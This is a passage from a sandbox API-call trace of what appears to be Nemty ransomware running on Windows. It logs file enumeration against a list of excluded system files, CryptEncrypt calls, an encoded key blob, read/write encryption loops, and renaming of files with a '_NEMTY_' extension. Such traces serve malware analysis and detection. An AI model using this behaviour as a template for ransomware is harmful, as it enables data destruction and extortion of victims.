lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.473] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.482] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.482] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.501] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.501] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.510] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.510] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.519] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.520] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.529] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.529] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.538] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.538] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.544] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.544] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0112.550] CloseHandle (hObject=0xffffffff) returned 0 [0112.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0112.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0112.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0112.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0112.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0112.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0112.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340500 [0112.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0112.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0112.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0112.551] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\curl-hot.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\curl-hot.png._nemty_kgobjgd_")) returned 0 [0112.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0112.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0112.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0112.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0112.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0112.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0112.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0112.551] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82438315, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82438315, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28409161, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="curl.png", cAlternateFileName="")) returned 1 [0112.551] lstrcmpiW (lpString1="curl.png", lpString2=".") returned 1 [0112.551] lstrcmpiW (lpString1="curl.png", lpString2="..") returned 1 [0112.551] lstrcmpiW (lpString1="curl.png", lpString2="...") returned 1 [0112.551] lstrcmpiW (lpString1="curl.png", lpString2="windows") returned -1 [0112.551] lstrcmpiW (lpString1="curl.png", lpString2="$RECYCLE.BIN") returned 1 [0112.551] lstrcmpiW (lpString1="curl.png", lpString2="rsa") returned -1 [0112.551] lstrcmpiW (lpString1="curl.png", lpString2="NTDETECT.COM") returned -1 [0112.551] lstrcmpiW (lpString1="curl.png", lpString2="ntldr") returned -1 [0112.551] lstrcmpiW (lpString1="curl.png", lpString2="MSDOS.SYS") returned -1 [0112.551] lstrcmpiW (lpString1="curl.png", lpString2="IO.SYS") returned -1 [0112.551] lstrcmpiW (lpString1="curl.png", lpString2="boot.ini") returned 1 [0112.552] lstrcmpiW (lpString1="curl.png", lpString2="boot.ini") returned 1 [0112.552] lstrcmpiW (lpString1="curl.png", lpString2="AUTOEXEC.BAT") returned 1 [0112.552] lstrcmpiW (lpString1="curl.png", lpString2="ntuser.dat") returned -1 [0112.552] lstrcmpiW (lpString1="curl.png", lpString2="desktop.ini") returned -1 [0112.552] lstrcmpiW (lpString1="curl.png", lpString2="CONFIG.SYS") returned 1 [0112.552] lstrcmpiW (lpString1="curl.png", lpString2="RECYCLER") returned -1 [0112.552] lstrcmpiW (lpString1="curl.png", lpString2="BOOTSECT.BAK") returned 1 [0112.552] lstrcmpiW (lpString1="curl.png", lpString2="bootmgr") returned 1 [0112.552] lstrcmpiW (lpString1="curl.png", lpString2="programdata") returned -1 [0112.552] lstrcmpiW (lpString1="curl.png", lpString2="appdata") returned 1 [0112.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curl.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0112.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curl.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="curl.png", lpUsedDefaultChar=0x0) returned 8 [0112.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0112.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curl.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0112.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curl.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="curl.png", lpUsedDefaultChar=0x0) returned 8 [0112.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0112.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curl.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0112.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curl.png", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="curl.png", lpUsedDefaultChar=0x0) returned 8 [0112.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curl.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0112.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curl.png", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="curl.png", lpUsedDefaultChar=0x0) returned 8 [0112.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0112.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0112.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0112.553] Sleep (dwMilliseconds=0x5) [0112.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6be06b0, dwHighDateTime=0x1d561e7)) [0112.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6be06b0, dwHighDateTime=0x1d561e7)) [0112.567] GetLastError () returned 0x5 [0112.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0112.567] GetLastError () returned 0x5 [0112.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0112.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0112.568] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0112.568] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0112.568] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0112.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0112.568] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: pszString="danBMl5FXDmL2fDx1Yhb0CUD3mo2oL6fxo1AHuQdvNy4ShBXC5TWEs04a8KxW1bC\r\nSFmJ6TOt2nMtOETd3Kv0fqUEApf/RGfXtlUuuvSmGwY6fE6Jp2F9MHmvHRBpf6oM\r\n+rI1Drg/XOC6hu/zXROA1K8Q7Y54eVeV38odRSrEwwz0cQ/+Kpgmg69uPUZZp3HV\r\nULyYvnGc1Ousm3Z+hsXU2+ncl9NPZkf5ET3wRWEu6ZRInbYflUhDeyapQlcHn/kE\r\nwGF//lkjrB+ivZXaXBrxTwA7IztnJZBFlCEckXyP2sJ6SA2d+zd5VBD4jNNk7YEW\r\n/YJ6/PGtii95ITGoLDdVOg==\r\n", pcchString=0x653e91c) returned 1 [0112.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0112.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0112.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0112.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0112.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0112.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0112.568] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\curl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.569] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0112.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0112.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.569] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.578] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.588] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.588] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.597] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.597] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.606] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.616] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.616] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.625] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.625] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.634] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 